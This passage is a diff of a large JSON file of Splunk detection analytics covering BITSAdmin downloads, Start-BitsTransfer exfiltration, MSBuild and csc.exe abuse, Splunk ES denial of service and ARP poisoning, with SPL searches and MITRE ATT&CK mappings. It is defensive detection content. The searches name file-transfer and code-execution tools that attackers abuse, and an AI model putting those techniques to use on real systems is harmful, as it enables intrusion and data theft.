- { - "name": "host", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential exposure of environment variables from url embedded in dashboard", - "risk_score": 75, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1499", - "mitre_attack_technique": "Endpoint Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Splunk ES DoS Investigations Manager via Investigation Creation", - "description": "The following analytic detects the creation of malformed Investigations in Splunk Enterprise Security (ES) versions lower than 7.1.2, which can lead to a denial of service (DoS). It leverages internal Splunk logs, specifically monitoring the `splunkd_investigation_rest_handler` with error statuses during investigation creation. This activity is significant as it can disrupt the functionality of the Investigations manager, hindering incident response efforts. If confirmed malicious, this could prevent security teams from accessing critical investigation data, severely impacting their ability to manage and respond to security incidents effectively.", - "search": "`splunkd_investigation_rest_handler` method=put msg=*investigation* status=error | stats count min(_time) as firstTime max(_time) as lastTime by user host method msg | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_es_dos_investigations_manager_via_investigation_creation_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Denial of Service Attack against Splunk ES Investigation Manager by $user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1499", - "mitre_attack_technique": "Endpoint Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Splunk ES DoS Through Investigation Attachments", - "description": "The following analytic detects attempts to perform a denial of service (DoS) attack through investigation attachments in Splunk Enterprise Security (ES) versions below 7.1.2. It leverages internal Splunk logs, specifically monitoring the `splunkd_investigation_rest_handler` for error statuses related to investigation objects. This activity is significant because it can render the Investigation feature inaccessible, disrupting incident response and forensic analysis. If confirmed malicious, this attack could prevent security teams from effectively managing and investigating security incidents, leading to prolonged exposure and potential data breaches.", - "search": "`splunkd_investigation_rest_handler` status=error object=investigation | stats min(_time) as firstTime max(_time) as lastTime values(status) as status values(msg) as msg values(id) as investigation_id by user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_es_dos_through_investigation_attachments_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Denial of Service detected at Splunk ES affecting $user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1499", - "mitre_attack_technique": "Endpoint Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Splunk Improperly Formatted Parameter Crashes splunkd", - "description": "The following analytic detects the execution of improperly formatted INGEST_EVAL parameters in Splunk Enterprise, which can crash the splunkd service. It leverages the Splunk_Audit.Search_Activity datamodel to identify ad-hoc searches containing specific keywords. This activity is significant because it can disrupt Splunk operations, leading to potential data loss and service downtime. If confirmed malicious, an attacker could exploit this to cause a denial of service, impacting the availability and reliability of the Splunk environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Splunk_Audit.Search_Activity where (Search_Activity.search=\"*makeresults*\"AND Search_Activity.search=\"*ingestpreview*transforms*\") Search_Activity.search_type=adhoc Search_Activity.search!=\"*splunk_improperly_formatted_parameter_crashes_splunkd_filter*\" Search_Activity.user!=splunk-system-user by Search_Activity.search, Search_Activity.info, Search_Activity.total_run_time, Search_Activity.user, Search_Activity.search_type | `drop_dm_object_name(Search_Activity)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_improperly_formatted_parameter_crashes_splunkd_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "An attempt to exploit ingest eval parameter was detected from $user$", - "risk_score": 100, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1499", - "mitre_attack_technique": "Endpoint Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Sandworm Team" - ] - } - ] - } } ], "external_reference": [ @@ -611334,79 +409461,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "CSC Net On The Fly Compilation", - "description": "The following analytic detects the use of the .NET compiler csc.exe for on-the-fly compilation of potentially malicious .NET code. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns associated with csc.exe. This activity is significant because adversaries and malware often use this technique to evade detection by compiling malicious code at runtime. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_csc` Processes.process = \"*/noconfig*\" Processes.process = \"*/fullpaths*\" Processes.process = \"*@*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `csc_net_on_the_fly_compilation_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "csc.exe with commandline $process$ to compile .net code on $dest$ by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027.004", - "mitre_attack_technique": "Compile After Delivery", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "MuddyWater", - "Rocke" - ] - }, - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - } - ] - } } ], "external_reference": [ @@ -614409,300 +412463,7 @@ "Event ID": null, "Event Name": "Packet capture" } - ], - { - "name": "BITS Job Persistence", - "description": "The following analytic detects the use of `bitsadmin.exe` to schedule a BITS job for persistence on an endpoint. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line parameters such as `create`, `addfile`, and `resume`. This activity is significant because BITS jobs can be used by attackers to maintain persistence, download malicious payloads, or exfiltrate data. If confirmed malicious, this could allow an attacker to persist in the environment, execute arbitrary code, or transfer sensitive information, necessitating further investigation and potential remediation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_bitsadmin` Processes.process IN (*create*, *addfile*, *setnotifyflags*, *setnotifycmdline*, *setminretrydelay*, *setcustomheaders*, *resume* ) by Processes.dest Processes.user Processes.original_file_name Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `bits_job_persistence_filter`", - "tags": { - "analytic_story": [ - "BITS Jobs", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to persist using BITS.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1197", - "mitre_attack_technique": "BITS Jobs", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "APT39", - "APT41", - "Leviathan", - "Patchwork", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "BITSAdmin Download File", - "description": "The following analytic detects the use of `bitsadmin.exe` with the `transfer` parameter to download a remote object. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant because `bitsadmin.exe` can be exploited to download and execute malicious files without immediate detection. If confirmed malicious, an attacker could use this technique to download and execute payloads, potentially leading to code execution, privilege escalation, or persistent access within the environment. Review parallel and child processes, especially `svchost.exe`, for associated artifacts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_bitsadmin` Processes.process IN (\"*transfer*\", \"*addfile*\") by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `bitsadmin_download_file_filter`", - "tags": { - "analytic_story": [ - "BITS Jobs", - "DarkSide Ransomware", - "Flax Typhoon", - "Ingress Tool Transfer", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to download a file.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1197", - "mitre_attack_technique": "BITS Jobs", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "APT39", - "APT41", - "Leviathan", - "Patchwork", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Start-BitsTransfer", - "description": "The following analytic detects the execution of the PowerShell command `Start-BitsTransfer`, which can be used for file transfers, including potential data exfiltration. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant because `Start-BitsTransfer` can be abused by adversaries to upload sensitive files to remote locations, posing a risk of data loss. If confirmed malicious, this could lead to unauthorized data exfiltration, compromising sensitive information and potentially leading to further exploitation of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=*start-bitstransfer* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.original_file_name Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_start_bitstransfer_filter`", - "tags": { - "analytic_story": [ - "BITS Jobs" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious process $process_name$ with commandline $process$ that are related to bittransfer functionality in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1197", - "mitre_attack_technique": "BITS Jobs", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "APT39", - "APT41", - "Leviathan", - "Patchwork", - "Wizard Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -615098,323 +412859,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "MSBuild Suspicious Spawned By Script Process", - "description": "The following analytic detects the suspicious spawning of MSBuild.exe by Windows Script Host processes (cscript.exe or wscript.exe). This behavior is often associated with malware or adversaries executing malicious MSBuild processes via scripts on compromised hosts. The detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where MSBuild is a child of script hosts. This activity is significant as it may indicate an attempt to execute malicious code. If confirmed malicious, it could lead to unauthorized code execution, potentially compromising the host and allowing further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"wscript.exe\", \"cscript.exe\") AND `process_msbuild` by Processes.dest Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `msbuild_suspicious_spawned_by_script_process_filter`", - "tags": { - "analytic_story": [ - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Msbuild.exe process spawned by $parent_process_name$ on $dest$ executed by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious msbuild path", - "description": "The following analytic detects the execution of msbuild.exe from a non-standard path. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that deviate from typical msbuild.exe locations. This activity is significant because msbuild.exe is commonly abused by attackers to execute malicious code, and running it from an unusual path can indicate an attempt to evade detection. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_msbuild` AND (Processes.process_path!=*\\\\framework*\\\\v*\\\\*) by Processes.dest Processes.original_file_name Processes.parent_process Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `suspicious_msbuild_path_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Msbuild.exe ran from an uncommon path on $dest$ execyted by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious MSBuild Rename", - "description": "The following analytic detects the execution of renamed instances of msbuild.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names within the Endpoint data model. This activity is significant because msbuild.exe is a legitimate tool often abused by attackers to execute malicious code while evading detection. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=msbuild.exe AND Processes.original_file_name=MSBuild.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_msbuild_rename_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed msbuild.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious MSBuild Spawn", - "description": "The following analytic identifies instances where wmiprvse.exe spawns msbuild.exe, which is unusual and indicative of potential misuse of a COM object. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process relationships and command-line executions. This activity is significant because msbuild.exe is typically spawned by devenv.exe during legitimate Visual Studio use, not by wmiprvse.exe. If confirmed malicious, this behavior could indicate an attacker executing arbitrary code or scripts, potentially leading to system compromise or further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=wmiprvse.exe AND `process_msbuild` by Processes.dest Processes.parent_process Processes.original_file_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_msbuild_spawn_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious msbuild.exe process executed on $dest$ by $user$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -615611,51 +413055,7 @@ "commands": [], "queries": [], "parsed_datasets": [], - "possible_detections": [ - { - "name": "Cloud Security Groups Modifications by User", - "description": "The following analytic identifies unusual modifications to security groups in your cloud environment by users, focusing on actions such as modifications, deletions, or creations over 30-minute intervals. It leverages cloud infrastructure logs and calculates the standard deviation for each user, using the 3-sigma rule to detect anomalies. This activity is significant as it may indicate a compromised account or insider threat. If confirmed malicious, attackers could alter security group configurations, potentially exposing sensitive resources or disrupting services.", - "search": "| tstats dc(All_Changes.object) as unique_security_groups values(All_Changes.src) as src values(All_Changes.user_type) as user_type values(All_Changes.object_category) as object_category values(All_Changes.object) as objects values(All_Changes.action) as action values(All_Changes.user_agent) as user_agent values(All_Changes.command) as command from datamodel=Change WHERE All_Changes.object_category = \"security_group\" (All_Changes.action = modified OR All_Changes.action = deleted OR All_Changes.action = created) by All_Changes.user _time span=30m | `drop_dm_object_name(\"All_Changes\")` | eventstats avg(unique_security_groups) as avg_changes , stdev(unique_security_groups) as std_changes by user | eval upperBound=(avg_changes+std_changes*3) | eval isOutlier=if(unique_security_groups > 2 and unique_security_groups >= upperBound, 1, 0) | where isOutlier=1| `cloud_security_groups_modifications_by_user_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud User Activities" - ], - "asset_type": "Cloud Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unsual number cloud security group modifications detected by user - $user$", - "risk_score": 35, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1578.005", - "mitre_attack_technique": "Modify Cloud Compute Configurations", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -617279,246 +414679,6 @@ "source_data_element": "network traffic flow", "relationship": "identified", "target_data_element": "network traffic volume" - }, - { - "name": "Detect ARP Poisoning", - "description": "The following analytic detects ARP Poisoning attacks by monitoring for Dynamic ARP Inspection (DAI) errors on Cisco network devices. It leverages logs from Cisco devices, specifically looking for events where the ARP inspection feature has disabled an interface due to suspicious activity. This activity is significant because ARP Poisoning can allow attackers to intercept, modify, or disrupt network traffic, leading to potential data breaches or denial of service. If confirmed malicious, this could enable attackers to perform man-in-the-middle attacks, compromising the integrity and confidentiality of network communications.", - "search": "`cisco_networks` facility=\"PM\" mnemonic=\"ERR_DISABLE\" disable_cause=\"arp-inspection\" | eval src_interface=src_int_prefix_long+src_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime count BY host src_interface | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)`| `detect_arp_poisoning_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect IPv6 Network Infrastructure Threats", - "description": "The following analytic detects IPv6 network infrastructure threats by identifying suspicious activities such as IP and MAC address theft or packet drops. It leverages logs from Cisco network devices configured with First Hop Security measures like RA Guard and DHCP Guard. This activity is significant as it can indicate attempts to compromise network integrity and security. If confirmed malicious, attackers could manipulate network traffic, leading to potential data interception, unauthorized access, or network disruption.", - "search": "`cisco_networks` facility=\"SISF\" mnemonic IN (\"IP_THEFT\",\"MAC_THEFT\",\"MAC_AND_IP_THEFT\",\"PAK_DROP\") | eval src_interface=src_int_prefix_long+src_int_suffix | eval dest_interface=dest_int_prefix_long+dest_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime values(src_mac) AS src_mac values(src_vlan) AS src_vlan values(mnemonic) AS mnemonic values(vendor_explanation) AS vendor_explanation values(src_ip) AS src_ip values(dest_ip) AS dest_ip values(dest_interface) AS dest_interface values(action) AS action count BY host src_interface | table host src_interface dest_interface src_mac src_ip dest_ip src_vlan mnemonic vendor_explanation action count | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `detect_ipv6_network_infrastructure_threats_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - 